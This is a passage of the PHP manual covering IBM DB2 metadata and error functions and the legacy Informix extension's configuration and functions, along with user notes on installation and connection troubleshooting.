  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing the SQLSTATE returned by an SQL statement

  • « db2_statistics
  • db2_stmt_errormsg »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a string containing the SQLSTATE returned by an SQL statement

db2_stmt_error

(PECL ibm_db2 >= 1.0.0)

db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement

Description

string db2_stmt_error ([ resource $stmt ] )

Returns a string containing the SQLSTATE value returned by an SQL statement.

If you do not pass a statement resource as an argument to db2_stmt_error(), the driver returns the SQLSTATE value associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_stmt_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

Parameters

stmt

A valid statement resource.

Return Values

Returns a string containing an SQLSTATE value.

See Also

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing the last SQL statement error message

  • « db2_stmt_error
  • db2_table_privileges »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a string containing the last SQL statement error message

db2_stmt_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_stmt_errormsg — Returns a string containing the last SQL statement error message

Description

string db2_stmt_errormsg ([ resource $stmt ] )

Returns a string containing the last SQL statement error message.

If you do not pass a statement resource as an argument to db2_stmt_errormsg(), the driver returns the error message associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

Parameters

stmt

A valid statement resource.

Return Values

Returns a string containing the error message and SQLCODE value for the last error that occurred issuing an SQL statement.

See Also

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the tables and associated privileges in a database

  • « db2_stmt_errormsg
  • db2_tables »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the tables and associated privileges in a database

db2_table_privileges

(PECL ibm_db2 >= 1.0.0)

db2_table_privileges — Returns a result set listing the tables and associated privileges in a database

Description

resource db2_table_privileges ( resource $connection [, string $qualifier [, string $schema [, string $table_name ]]] )

Returns a result set listing the tables and associated privileges in a database.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table_name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

Return Values

Returns a statement resource with a result set containing rows describing the privileges for the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege that has been granted. This can be one of ALTER, CONTROL, DELETE, INDEX, INSERT, REFERENCES, SELECT, or UPDATE.
IS_GRANTABLE | A string value of "YES" or "NO" indicating whether the grantee can grant the privilege to other users.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 04:52
<?php
// using db2_table_privileges example:

$result = db2_table_privileges($conn,NULL,'DB2ADMIN');

while($obj = db2_fetch_object($result)){
       print_r($obj)
}

/* output

stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => ALTER
    [IS_GRANTABLE] => YES
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => CONTROL
    [IS_GRANTABLE] => NO
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => DELETE
    [IS_GRANTABLE] => YES
)
*/

?>


Returns a result set listing the tables and associated metadata in a database

  • « db2_table_privileges
  • Informix »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a result set listing the tables and associated metadata in a database

db2_tables

(PECL ibm_db2 >= 1.0.0)

db2_tables — Returns a result set listing the tables and associated metadata in a database

Description

resource db2_tables ( resource $connection [, string $qualifier [, string $schema [, string $table-name [, string $table-type ]]]] )

Returns a result set listing the tables and associated metadata in a database.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table-name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

table-type

A list of comma-delimited table type identifiers. To match all table types, pass NULL or an empty string. Valid table type identifiers include: ALIAS, HIERARCHY TABLE, INOPERATIVE VIEW, NICKNAME, MATERIALIZED QUERY TABLE, SYSTEM TABLE, TABLE, TYPED TABLE, TYPED VIEW, and VIEW.

Return Values

Returns a statement resource with a result set containing rows describing the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
TABLE_TYPE | Table type identifier for the table.
REMARKS | Description of the table.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database

User Contributed Notes

There are no user contributed notes for this page.


Informix

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Informix Functions
    • ifx_affected_rows — Get number of rows affected by a query
    • ifx_blobinfile_mode — Set the default blob mode for all select queries
    • ifx_byteasvarchar — Set the default byte mode
    • ifx_close — Close Informix connection
    • ifx_connect — Open Informix server connection
    • ifx_copy_blob — Duplicates the given blob object
    • ifx_create_blob — Creates an blob object
    • ifx_create_char — Creates an char object
    • ifx_do — Execute a previously prepared SQL-statement
    • ifx_error — Returns error code of last Informix call
    • ifx_errormsg — Returns error message of last Informix call
    • ifx_fetch_row — Get row as an associative array
    • ifx_fieldproperties — List of SQL fieldproperties
    • ifx_fieldtypes — List of Informix SQL fields
    • ifx_free_blob — Deletes the blob object
    • ifx_free_char — Deletes the char object
    • ifx_free_result — Releases resources for the query
    • ifx_get_blob — Return the content of a blob object
    • ifx_get_char — Return the content of the char object
    • ifx_getsqlca — Get the contents of sqlca.sqlerrd[0..5] after a query
    • ifx_htmltbl_result — Formats all rows of a query into a HTML table
    • ifx_nullformat — Sets the default return value on a fetch row
    • ifx_num_fields — Returns the number of columns in the query
    • ifx_num_rows — Count the rows already fetched from a query
    • ifx_pconnect — Open persistent Informix connection
    • ifx_prepare — Prepare an SQL-statement for execution
    • ifx_query — Send Informix query
    • ifx_textasvarchar — Set the default text mode
    • ifx_update_blob — Updates the content of the blob object
    • ifx_update_char — Updates the content of the char object
    • ifxus_close_slob — Deletes the slob object
    • ifxus_create_slob — Creates an slob object and opens it
    • ifxus_free_slob — Deletes the slob object
    • ifxus_open_slob — Opens an slob object
    • ifxus_read_slob — Reads nbytes of the slob object
    • ifxus_seek_slob — Sets the current file or seek position
    • ifxus_tell_slob — Returns the current file or seek position
    • ifxus_write_slob — Writes a string into the slob object

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The Informix driver for Informix (IDS) 7.x, SE 7.x, Universal Server (IUS) 9.x and IDS 2000 is implemented in "ifx.ec" and "php_informix.h" in the informix extension directory. IDS 7.x support is fairly complete, with full support for BYTE and TEXT columns. IUS 9.x support is partly finished: the new data types are there, but SLOB and CLOB support is still under construction.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.1.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Note: Configuration notes

You need a version of ESQL/C to compile the PHP Informix driver. ESQL/C versions from 7.2x on should be OK. ESQL/C is now part of the Informix Client SDK.

Make sure that the "INFORMIXDIR" variable has been set, and that $INFORMIXDIR/bin is in your PATH before you run the "configure" script.

User Contributed Notes

There are no user contributed notes for this page.


Installation

To be able to use the functions defined in this module you must compile your PHP interpreter using the configure line --with-informix[=DIR] , where DIR is the Informix base install directory, defaults to nothing.

User Contributed Notes

jorge at zumerata dot com dot br 11-Apr-2014 04:22
So, php_ifx.dll is not more supported, because the PECL site warnings "This package is not maintained".  I can't find the source-code to compile.

Best try is the PDO Informix.
shotsheep at 163 dot com 17-Nov-2009 06:57
For windows , apache server, php connect informix.
I have try 4 days and finally success with it.
My php env is apache 2.0, php 5.2, informix 09.40

1) download php_ifx.dll from php home page （search with pecl-5.2 Win32）, put php_ifx.dll in your php extension dir , in my case c:\php\ext .
2) in php.ini add follows :
extension=php_ifx.dll
3) download informix cdsk 3.0TC for windows from ibm, install it and then run your php app which has informix connect operation, if apache server has a error dialog, then restart computer(because installation add a system variable path : C:\Program Files\IBM\Informix\Client-SDK\bin), after restart confirm this error not occure again. (in this step php page finally error  with "sqlstate = IX 000 sqlcode= -25560" because of informix server not set, we will solute it in next step)
4) run C:\Program Files\IBM\Informix\Client-SDK\bin\setnet32.exe change the values by following
    4)-1 Tab Server Information
        IBM Informix Server : informix server name
        HostName : informix  server ip address
        Protocolname : onsoctcp
        ServiceName : informix server port

    4)-2 Host Information
        Current Host : informix  server ip address
    then click OK
5) run your php app, then you can do any ifx_xxxxx informix db operation. (in windows apache env don't mind INFORMIXDIR var ect...)


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Note:

Make sure that the Informix environment variables INFORMIXDIR and INFORMIXSERVER are available to the PHP ifx driver, and that the INFORMIX bin directory is in the PATH. Check this by running a script that contains a call to phpinfo() before you start testing. The phpinfo() output should list these environment variables. This is true for both CGI php and Apache mod_php. You may have to set these environment variables in your Apache startup script.

The Informix shared libraries should also be available to the loader (check LD_LIBRARY_PATH or ld.so.conf/ldconfig).

Note: Some notes on the use of BLOBs (TEXT and BYTE columns)

BLOBs are normally addressed by BLOB identifiers. Select queries return a "blob id" for every BYTE and TEXT column. You can get at the contents with "string_var = ifx_get_blob($blob_id);" if you choose to get the BLOBs in memory (with: "ifx_blobinfile(0);"). If you prefer to receive the content of BLOB columns in a file, use "ifx_blobinfile(1);", and "ifx_get_blob($blob_id);" will get you the filename. Use normal file I/O to get at the blob contents.

For insert/update queries you must create these "blob id's" yourself with "ifx_create_blob();". You then plug the blob id's into an array, and replace the blob columns with a question mark (?) in the query string. For updates/inserts, you are responsible for setting the blob contents with ifx_update_blob().

The behaviour of BLOB columns can be altered by configuration variables that also can be set at runtime:

configuration variable: ifx.textasvarchar

configuration variable: ifx.byteasvarchar

runtime functions:

ifx_textasvarchar(0): use blob id's for select queries with TEXT columns

ifx_byteasvarchar(0): use blob id's for select queries with BYTE columns

ifx_textasvarchar(1): return TEXT columns as if they were VARCHAR columns, so that you don't need to use blob id's for select queries.

ifx_byteasvarchar(1): return BYTE columns as if they were VARCHAR columns, so that you don't need to use blob id's for select queries.

configuration variable: ifx.blobinfile

runtime function:

ifx_blobinfile_mode(0): return BYTE columns in memory, the blob id lets you get at the contents.

ifx_blobinfile_mode(1): return BYTE columns in a file, the blob id lets you get at the file name.

If you set ifx_text/byteasvarchar to 1, you can use TEXT and BYTE columns in select queries just like normal (but rather long) VARCHAR fields. Since all strings are "counted" in PHP, this remains "binary safe". It is up to you to handle this correctly. The returned data can contain anything, you are responsible for the contents.

If you set ifx_blobinfile to 1, use the file name returned by ifx_get_blob(..) to get at the blob contents. Note that in this case YOU ARE RESPONSIBLE FOR DELETING THE TEMPORARY FILES CREATED BY INFORMIX when fetching the row. Every new row fetched will create new temporary files for every BYTE column.

The location of the temporary files can be influenced by the environment variable "blobdir", default is "." (the current directory). Something like: putenv(blobdir=tmpblob"); will ease the cleaning up of temp files accidentally left behind (their names all start with "blb").

Note: Automatically trimming "char" (SQLCHAR and SQLNCHAR) data

This can be set with the configuration variable

ifx.charasvarchar: if set to 1 trailing spaces will be automatically trimmed, to save you some "chopping".

Note: NULL values

The configuration variable ifx.nullformat (and the runtime function ifx_nullformat()) when set to TRUE will return NULL columns as the string "NULL", when set to FALSE they return the empty string. This allows you to discriminate between NULL columns and empty columns.

Informix configuration options
Name | Default | Changeable | Changelog
ifx.allow_persistent | "1" | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.max_persistent | "-1" | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.max_links | "-1" | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.default_host | NULL | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.default_user | NULL | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.default_password | NULL | PHP_INI_SYSTEM | Removed in PHP 5.2.1.
ifx.blobinfile | "1" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.textasvarchar | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.byteasvarchar | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.charasvarchar | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
ifx.nullformat | "0" | PHP_INI_ALL | Removed in PHP 5.2.1.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ifx.allow_persistent boolean

Whether to allow persistent Informix connections.

ifx.max_persistent integer

The maximum number of persistent Informix connections per process.

ifx.max_links integer

The maximum number of Informix connections per process, including persistent connections.

ifx.default_host string

The default host to connect to when no host is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in safe mode.

ifx.default_user string

The default user id to use when none is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in safe mode.

ifx.default_password string

The default password to use when none is specified in ifx_connect() or ifx_pconnect(). Doesn't apply in safe mode.

ifx.blobinfile boolean

Set to TRUE if you want to return blob columns in a file, FALSE if you want them in memory. You can override the setting at runtime with ifx_blobinfile_mode().

ifx.textasvarchar boolean

Set to TRUE if you want to return TEXT columns as normal strings in select statements, FALSE if you want to use blob id parameters. You can override the setting at runtime with ifx_textasvarchar().

ifx.byteasvarchar boolean

Set to TRUE if you want to return BYTE columns as normal strings in select queries, FALSE if you want to use blob id parameters. You can override the setting at runtime with ifx_textasvarchar().

ifx.charasvarchar boolean

Set to TRUE if you want to trim trailing spaces from CHAR columns when fetching them.

ifx.nullformat boolean

Set to TRUE if you want to return NULL columns as the literal string "NULL", FALSE if you want them returned as the empty string "". You can override this setting at runtime with ifx_nullformat().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

IFX_SCROLL (integer)
IFX_HOLD (integer)
IFX_LO_RDONLY (integer)
IFX_LO_WRONLY (integer)
IFX_LO_APPEND (integer)
IFX_LO_RDWR (integer)
IFX_LO_BUFFER (integer)
IFX_LO_NOBUFFER (integer)

User Contributed Notes

There are no user contributed notes for this page.


Informix Functions

Table of Contents

  • ifx_affected_rows — Get number of rows affected by a query
  • ifx_blobinfile_mode — Set the default blob mode for all select queries
  • ifx_byteasvarchar — Set the default byte mode
  • ifx_close — Close Informix connection
  • ifx_connect — Open Informix server connection
  • ifx_copy_blob — Duplicates the given blob object
  • ifx_create_blob — Creates an blob object
  • ifx_create_char — Creates an char object
  • ifx_do — Execute a previously prepared SQL-statement
  • ifx_error — Returns error code of last Informix call
  • ifx_errormsg — Returns error message of last Informix call
  • ifx_fetch_row — Get row as an associative array
  • ifx_fieldproperties — List of SQL fieldproperties
  • ifx_fieldtypes — List of Informix SQL fields
  • ifx_free_blob — Deletes the blob object
  • ifx_free_char — Deletes the char object
  • ifx_free_result — Releases resources for the query
  • ifx_get_blob — Return the content of a blob object
  • ifx_get_char — Return the content of the char object
  • ifx_getsqlca — Get the contents of sqlca.sqlerrd[0..5] after a query
  • ifx_htmltbl_result — Formats all rows of a query into a HTML table
  • ifx_nullformat — Sets the default return value on a fetch row
  • ifx_num_fields — Returns the number of columns in the query
  • ifx_num_rows — Count the rows already fetched from a query
  • ifx_pconnect — Open persistent Informix connection
  • ifx_prepare — Prepare an SQL-statement for execution
  • ifx_query — Send Informix query
  • ifx_textasvarchar — Set the default text mode
  • ifx_update_blob — Updates the content of the blob object
  • ifx_update_char — Updates the content of the char object
  • ifxus_close_slob — Deletes the slob object
  • ifxus_create_slob — Creates an slob object and opens it
  • ifxus_free_slob — Deletes the slob object
  • ifxus_open_slob — Opens an slob object
  • ifxus_read_slob — Reads nbytes of the slob object
  • ifxus_seek_slob — Sets the current file or seek position
  • ifxus_tell_slob — Returns the current file or seek position
  • ifxus_write_slob — Writes a string into the slob object

User Contributed Notes

roger at wzero dot com dot br 02-Mar-2007 03:41
Unfortunately the informix extension has been moved to PECL but has no maintainer.
http://devzone.zend.com/node/view/id/1621#Heading11

In practic terms, it has been moved but is not available in PECL yet.

It's sad. I have a big client who uses this extension for more than 6 years and now has to change a code base of 500,000 lines of code or install an old version of PHP in the new server. They recently bought a redundant, double cpu, 8 gb ram, scsi disk server and will not be happy to run old versions of software with unmaintained extensions.
Ian McMurray 15-Apr-2005 10:02
Installation on RedHat Fedore Core (or in that matter any Linux OS which has a version of glibc  of 2.3.* ~or above~) will need to have the latest Informix CSDK (downloadable from IBM). 2.90.UC1.LINUX at the time of this post.

http://www-306.ibm.com/software/data/informix/tools/connect/

I was unable to make PHP with v2.80 of the csdk (as it complained about mktemp being dangerous and how ctype was undefined. After downloading csdk 2.90, I was able to make PHP with no problems at all. (--with-informix).

There goes 2 days of my life!

Feel free to drop me an email at ian_at_devtonic_dot_com if you have any questions.
drsound 31-Oct-2004 07:20
I just wrote a mini-HOWTO about adding Informix support to mod_php running on a Gentoo Linux server (x86). I wanted to post it here but it was too long. You can find it on http://forums.gentoo.org/viewtopic.php?t=245249 (just in case for some reason they change the thread number, the title is "HOWTO: PHP Informix client support").
jeff at domintcom dot com 27-Oct-2002 08:06
add the following to /etc/profile (right before unset i (adjust to your needs)

export INFORMIXDIR=/opt/informix
export ODBCINI=/usr/local/etc/odbc.ini
export INFORMIXSERVER=m_srv

then add the following to your httpd.conf

PassEnv INFORMIXDIR
PassEnv ODBCINI
PassEnv INFORMIXSERVER

(or you can use SetEnv SetEnv INFORMIXDIR /opt/informix  etc.)
cornecNOSPAM at reach dot NO_SPAM dot com 15-Oct-2002 05:14
I upgraded to csdk-2.70.UC3-1 and got the following error when trying to start apache:

Syntax error on line 205 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: /opt/informix/lib/esql/libifgen.so: undefined symbol: stat
/usr/local/apache/bin/apachectl start: httpd could not be started

This machine has glibc 2.3.5

The following fixed the problem for me (surely there's a better fix) but i'm not sure how it might affect other programs linked to libifgen

mkdir /tmp/ifx
cd /tmp/ifx
ar x $INFORMIXDIR/lib/esql/libifgen.a
gcc -shared -o libifgen.so *.o
cp libifgen.so $INFORMIXDIR/lib/esql
programacion at afinformatica dot com 27-May-2002 04:38
I have compile php-4.0.6 with informix support (dynamic) and when I try to
start apache, it gives me this error message:

Syntax error on line 246 of /etc/httpd/httpd.conf:
Cannot load /usr/lib/apache/libphp4.so into server: /home/informix7/lib/esql/lib
ifgen.so: undefined symbol: stat
/usr/sbin/apachectl start: httpd could not be started
isaac dot hopley at morton-fraser dot NO_SPAM dot com 15-Nov-2001 01:54
If you are tring to access an Informix Online 5.x server over the
network (ie from a webserver) using PHP, be aware that Online
doesn't support network communications as standard unlike later versions.

You need the Informix product 'I-Star' on your Online server.
This will allow your webserver with the informix client SDK
installed to communicate natively (ESQL).

Thanks go to Mario @ PRS for this info.
old dot wolf at project-w dot com 27-Jul-2001 08:40
An intermittent SQL error -25580 is caused by using the wrong glibc version in Linux.

I have this working correctly in Linux (x86) with Informix Client SDK for 2.70UC-1 for Linux, with glibc 2.1.3.

Originally I had glibc 2.1.1 (Red Hat 6), which gave the intermittent error, but upgrading glibc fixed it.

The Informix Client SDKs can be downloaded from www.informix.com (you need to own an Informix database to log on), and glibc is at ftp://ftp.gnu.org/gnu/glibc .
MarkRoedel at letu dot edu 03-Mar-2001 01:19
There's also a FreeBSD version of the client libraries that'll work with PHP.  It's not available for download from their website, but you can request a copy (cd or electronic delivery) by calling Informix Customer Support at 1-800-274-8184 option 3.

Some customer service reps know more about alternative operating systems than others, so you may have to do a bit of educating before they can locate the product in their database, but it's definitely there.

My e-mail confirmation referred to it as "Orderable Part Number 100-15871-204057-1", although that number may be specific to the electronically-delivered edition.
robernet at music-images dot com 26-Sep-2000 04:29
Verify with phpinfo() that you have informix module compiled in php.
Also verify that env vars INFORMIXDIR, INFORMIXSERVER, LD_LIBRARY_PATH are set, and that PATH have a route to your informix subdir.


Get number of rows affected by a query

  • « Informix Functions
  • ifx_blobinfile_mode »
  • PHP Manual
  • Informix Functions
  • Get number of rows affected by a query

ifx_affected_rows

(PHP 4, PHP <=5.2.0)

ifx_affected_rows — Get number of rows affected by a query

Description

int ifx_affected_rows ( resource $result_id )

Returns the number of rows affected by a query associated with result_id.

For inserts, updates and deletes the number is the real number (sqlerrd[2]) of affected rows. For selects it is an estimate (sqlerrd[0]). Don't rely on it. The database server can never return the actual number of rows that will be returned by a SELECT because it has not even begun fetching them at this stage (just after the "PREPARE" when the optimizer has determined the query plan).

Useful after ifx_prepare() to limit queries to reasonable result sets.

Parameters

result_id

A valid result id returned by ifx_query() or ifx_prepare().

Return Values

Returns the number of rows as an integer.

Examples

Example #1 Informix affected rows

<?php
$rid = ifx_prepare("select * from emp
                     where name like " . $name, $connid);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
?>

See Also

  • ifx_num_rows() - Count the rows already fetched from a query

User Contributed Notes

There are no user contributed notes for this page.


Set the default blob mode for all select queries

  • « ifx_affected_rows
  • ifx_byteasvarchar »
  • PHP Manual
  • Informix Functions
  • Set the default blob mode for all select queries

ifx_blobinfile_mode

(PHP 4, PHP <=5.2.0)

ifx_blobinfile_mode — Set the default blob mode for all select queries

Description

bool ifx_blobinfile_mode ( int $mode )

Set the default blob mode for all select queries.

Parameters

mode

Mode "0" means save Byte-Blobs in memory, and mode "1" means save Byte-Blobs in a file.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set the default byte mode

  • « ifx_blobinfile_mode
  • ifx_close »
  • PHP Manual
  • Informix Functions
  • Set the default byte mode

ifx_byteasvarchar

(PHP 4, PHP <=5.2.0)

ifx_byteasvarchar — Set the default byte mode

Description

bool ifx_byteasvarchar ( int $mode )

Sets the default byte mode for all select-queries.

Parameters

mode

Mode "0" will return a blob id, and mode "1" will return a varchar with text content.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_textasvarchar() - Set the default text mode

User Contributed Notes

There are no user contributed notes for this page.


Close Informix connection

  • « ifx_byteasvarchar
  • ifx_connect »
  • PHP Manual
  • Informix Functions
  • Close Informix connection

ifx_close

(PHP 4, PHP <=5.2.0)

ifx_close — Close Informix connection

Description

bool ifx_close ([ resource $link_identifier ] )

ifx_close() closes the link to an Informix database that's associated with the specified link identifier.

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

ifx_close() will not close persistent links generated by ifx_pconnect().

Parameters

link_identifier

The link identifier. If not specified, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a Informix connection

<?php
$conn_id = ifx_connect ("mydb@ol_srv", "itsme", "mypassword");
/* ... some queries and stuff ... */
ifx_close($conn_id);
?>

See Also

  • ifx_connect() - Open Informix server connection
  • ifx_pconnect() - Open persistent Informix connection

User Contributed Notes

There are no user contributed notes for this page.


Open Informix server connection

  • « ifx_close
  • ifx_copy_blob »
  • PHP Manual
  • Informix Functions
  • Open Informix server connection

ifx_connect

(PHP 4, PHP <=5.2.0)

ifx_connect — Open Informix server connection

Description

resource ifx_connect ([ string $database [, string $userid [, string $password ]]] )

ifx_connect() establishes a connection to an Informix server.

In case a second call is made to ifx_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling ifx_close().

Parameters

All of the arguments are optional, and if they're missing, defaults are taken from values supplied in php.ini (ifx.default_host for the host (Informix libraries will use INFORMIXSERVER environment value if not defined), ifx.default_user for user, ifx.default_password for the password (none if not defined).

database

The database name, as a string.

userid

The username, as a string.

password

The password, as a string.

Return Values

Returns a connection identifier on success, or FALSE on error.

Examples

Example #1 Connect to a Informix database

<?php
$conn_id = ifx_connect ("mydb@ol_srv1", "imyself", "mypassword");
?>

See Also

  • ifx_pconnect() - Open persistent Informix connection
  • ifx_close() - Close Informix connection

User Contributed Notes

mohd dot chehab at e-medlinks dot com 31-Mar-2011 12:57
Here's a tip :

When i first installed the informix through the removing the ; at php_ifx.dll and then restarted apache

then checking the phpinfo(); the connection wasn't established and i had this error that i have to set the INFORMIXSERVER.

Work Frame : Windows XP,Apache 2.2.1 php 5.3 The ODBC was working fine and i could connect to the informix server using the odbc connection

The problem is that the sql engine was on another machine with different platform.

[SOLUTION]

add an environmental variable called INFORMIXSERVER with the value of the server e.g myInformixServer which itself has an ip 192.x.x.x

You can do that on windows by right click on my computer advanced >> environmental variables >> add new System variable >> variable name = INFORMIXSERVER
variable value = myInformixServer

it worked like a charm
bernd dot newman at t-online dot de 11-Apr-2003 12:00
Problem with INFORMIX-Access with PHP4, WIN NT 4.0?

1. php.ini: extension=php_ifx.dll
2. Path: Informix/BIN
3. httpd.conf: PassEnv INFORMIXSERVER
                    PassEnv INFORMIXDIR
4. use the Informix-tool regcopy.exe to copy the registry settings in the system-account.

good luck!


Duplicates the given blob object

  • « ifx_connect
  • ifx_create_blob »
  • PHP Manual
  • Informix Functions
  • Duplicates the given blob object

ifx_copy_blob

(PHP 4, PHP <=5.2.0)

ifx_copy_blob — Duplicates the given blob object

Description

int ifx_copy_blob ( int $bid )

Duplicates the given blob object.

Parameters

bid

A BLOB identifier.

Return Values

Returns the new blob object-id, or FALSE on errors.

See Also

  • ifx_create_blob() - Creates an blob object
  • ifx_free_blob() - Deletes the blob object

User Contributed Notes

There are no user contributed notes for this page.


Creates an blob object

  • « ifx_copy_blob
  • ifx_create_char »
  • PHP Manual
  • Informix Functions
  • Creates an blob object

ifx_create_blob

(PHP 4, PHP <=5.2.0)

ifx_create_blob — Creates an blob object

Description

int ifx_create_blob ( int $type , int $mode , string $param )

Creates a blob object.

Parameters

type

1 = TEXT, 0 = BYTE

mode

0 = blob-object holds the content in memory, 1 = blob-object holds the content in file.

param

if mode = 0: pointer to the content, if mode = 1: pointer to the filestring.

Return Values

Returns the new BLOB object-id, or FALSE on errors.

See Also

  • ifx_copy_blob() - Duplicates the given blob object
  • ifx_free_blob() - Deletes the blob object

User Contributed Notes

mazza at radiumsystems dot com dot br 17-May-2000 11:51
How To ifx_create_blob():

<?php
//1st call it and put result into an array
$blobs[] = ifx_create_blob($type, $mode, $data);
//do it as many times as needed
//then you use it to call ifx_query
ifx_query($stmt, $conn, $cursor, $blobs);
?>


Creates an char object

  • « ifx_create_blob
  • ifx_do »
  • PHP Manual
  • Informix Functions
  • Creates an char object

ifx_create_char

(PHP 4, PHP <=5.2.0)

ifx_create_char — Creates an char object

Description

int ifx_create_char ( string $param )

Creates an char object.

Parameters

param

The char content.

Return Values

Returns the new char object id, or FALSE on errors.

See Also

  • ifx_free_char() - Deletes the char object

User Contributed Notes

evandrosimenes at gmail dot com 11-Apr-2011 05:18
Example of ifx_create_char use:
i'd a problem with textarea content, the informix server was returning the -282 error code: Found a quote for which there is no matching quote...

This was the solution for me...i hope it can help someone else having this problem:

<?php
$textarea = $_POST[textarea];
$char = ifx_create_char($textarea);
$txt[] = $char;
